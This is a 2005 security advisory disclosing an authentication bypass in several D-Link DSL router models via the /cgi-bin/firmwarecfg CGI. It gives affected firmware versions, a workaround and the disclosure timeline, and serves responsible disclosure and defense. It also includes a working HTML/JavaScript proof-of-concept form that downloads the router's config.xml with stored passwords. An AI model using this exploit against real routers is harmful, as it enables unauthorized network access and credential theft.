<<< Date Index >>>     <<< Thread Index >>>

D-Link DSL routers authentication bypass



====================== SUMMARY ========================

          Title: D-Link DSL routers authentication bypass
           Date: 19 May 2005
         Author: Francesco Orro <francesco.orro 4t akhela.com>

        Product: DSL-502T, DSL-504T, DSL-562T, DSL-G604T
         Vendor: D-Link
     Vendor URL: http://www.dlink.com
  Vendor Status: D-Link was conctacted
        Affects: Tested on DSL-502T, DSL-504T, DSL-562T, DSL-G604T with
                 various firmwares versions
           Risk: High
         Impact: Unauthorized people may gain full access to the device

Vulnerability Description: an undocumented feature allows (in some
cases) to bypass the authentication prompt and gain full access to the
router, and than to the network behind it.


====================== BACKGROUND ========================

D-Link DSL routers are commonly used for internet connectivity for home
or small office needs. (http://www.dlink.com/products/)


=============== PROBLEM DESCRIPTION ==================

The CGI /cgi-bin/firmwarecfg, when executed, checks the existence of the
file fw_ip under /var/tmp/. If this file exists, all IP addresses listed
inside it are given straight access to the device, without the need for
authentication. If this file doesn't exists, the CGI creates a new one,
putting the requesting address inside.

If the web configuration console is accessible from internet and if
nobody have never called the CGI before (es: from a workstation inside
the LAN), then everybody can gain access to the router, download the
config.xml file which contains users account and passwords, have access
to the private network, modify or alter the firmware of the router, etc.


================ ADDITIONAL DETAILS ==================

Vulnerability was found on the following firmware versions:

V1.00B01T16.EN.20040211
V1.00B01T16.EU.20040217
V0.00B01T04.UK.20040220
V1.00B01T16.EN.20040226
V1.00B02T02.EU.20040610
V1.00B02T02.UK.20040618
V1.00B02T02.EU.20040729
V1.00B02T02.DE.20040813
V1.00B02T02.RU.20041014

Can be exploited by a simple HTTP POST with the form:

<html>
<head>Download config.xml:<title>GetConfig - Config file 
download</title></head>
<body>

<script lang="javascript">
function invia_richiesta()
{
        document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
        document.DownloadConfig.submit();
}
</script>

<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action="" 
enctype="multipart/form-data">
          <input type="Submit" name="config" value="Download" 
onClick="javascript:invia_richiesta();"><br>
</form>

</body>
</html>


=================== FIX INFORMATION ===================

Actually there is no solution to problem due to the fact that it seems
an hidden feature.
The work around is to call the CGI /cgi-bin/firmwarecfg from a known
address of the local network and/or disable web console access from the
internet.


================ AUTHOR INFORMATION ================

Francesco Orro
Akhela S.r.l. - Operation Group
http://www.akhela.com/

EMail: francesco.orro 4t akhela.com
KeyID: 6CF46D45


=================== DISCLOSURE HISTORY =====================

 2 May 2005 - First private release of this advisory;
 4 May 2005 - The vendor (D-Link Mediterraneo S.r.l.) has been informed
              of the vulnerability;
 5 May 2005 - The vendor replid that the problem was resolved on
              firmware version V1.00B02T02.EU.20040610, but has been
              demostrated that this version is vulnerable too;
19 May 2005 - Public release of this advisory.

Attachment: pgpe942W74iLm.pgp
Description: PGP signature